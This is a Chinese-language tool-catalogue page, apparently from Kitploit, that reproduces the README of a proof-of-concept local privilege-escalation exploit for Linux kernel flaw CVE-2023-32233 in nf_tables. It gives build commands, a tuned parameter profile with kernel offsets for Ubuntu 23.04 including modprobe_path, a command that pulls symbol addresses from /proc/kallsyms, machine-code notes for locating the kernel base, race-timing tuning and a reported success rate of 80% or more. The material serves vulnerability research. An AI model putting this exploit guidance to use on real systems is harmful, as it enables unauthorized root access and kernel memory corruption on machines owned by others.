Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-32233 — 自用,poc作者为Piotr Krysiuk,在使用前请先阅读README.md | Kitploit
工具/GitHubGitHub/pidan-heidashuai/cve-2023-32233
权限提升漏洞分析漏洞利用渗透测试二进制利用
GitHubpidan-heidashuai/cve-2023-32233

CVE-2023-32233

自用,poc作者为Piotr Krysiuk,在使用前请先阅读README.md

查看仓库
3323年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

构建与配置

以下说明已在 Ubuntu 23.04 (Lunar Lobster) 下测试通过。

安装构建依赖

运行以下命令安装构建依赖:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

构建二进制

运行以下命令构建 PoC 二进制:

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

更新配置文件

内置配置文件包含针对 Linux 内核的参数,该内核以二进制形式分发,具体对应 Ubuntu 23.04 (Lunar Lobster) 的以下软件包:

  • "linux-image-6.2.0-20-generic",版本 "6.2.0-20.20",以及
  • "linux-modules-6.2.0-20-generic",版本 "6.2.0-20.20"。

内置配置文件如下所示:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

内核符号

在使用其他 Linux 内核进行测试时,覆盖内置配置文件的可选步骤:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

机器码

为了找到内核基址,我们检查内核内存中的 nf_tables.ko 镜像。具体来说,我们分析 nft_counter_destroy() 子程序的机器码。这意味着我们的方法对编译器以及编译选项敏感。不过,所有常见情况都可以通过覆盖内置配置文件来处理。

例如,nft_counter_destroy() 子程序的机器码可能如下所示:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

在上述情况下,我们可以通过在配置文件 "profile" 中追加以下三行来指定一些参数。

首先,我们重新定义 free_percpu 位移之前的 dword 的偏移:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

其中值 5 是使用表达式 (1e31d - 1e310) - 8 计算得出的。

作为健全性检查,然后我们使用以下掩码验证上述偏移处的 dword:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

期望得到以下值:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

竞态调优

利用此漏洞需要在与 Linux 内核的后台工作线程的竞态中胜出。内置配置文件已经过调优,以在广泛的英特尔微处理器(包括移动版 Sandy Bridge 和桌面版 Comet Lake)上最大化赢得该竞态的机会。然而,某些微处理器需要额外调优。例如,我们观察到在某些设置下 Alder Lake 的任务切换延迟增加,此时可能需要在 "profile" 中追加以下行:

root@kitploit:~
400                 race_lead_sleep

在我们使用空闲裸机系统进行的测试中,我们测得成功利用该漏洞的概率为 80% 或更高。

测试建议

在易受攻击的系统上启动 PoC 后,它可能使该系统处于内核内存损坏的不稳定状态。我们强烈建议在专用系统上测试 PoC,以避免潜在的数据损坏。

下载工具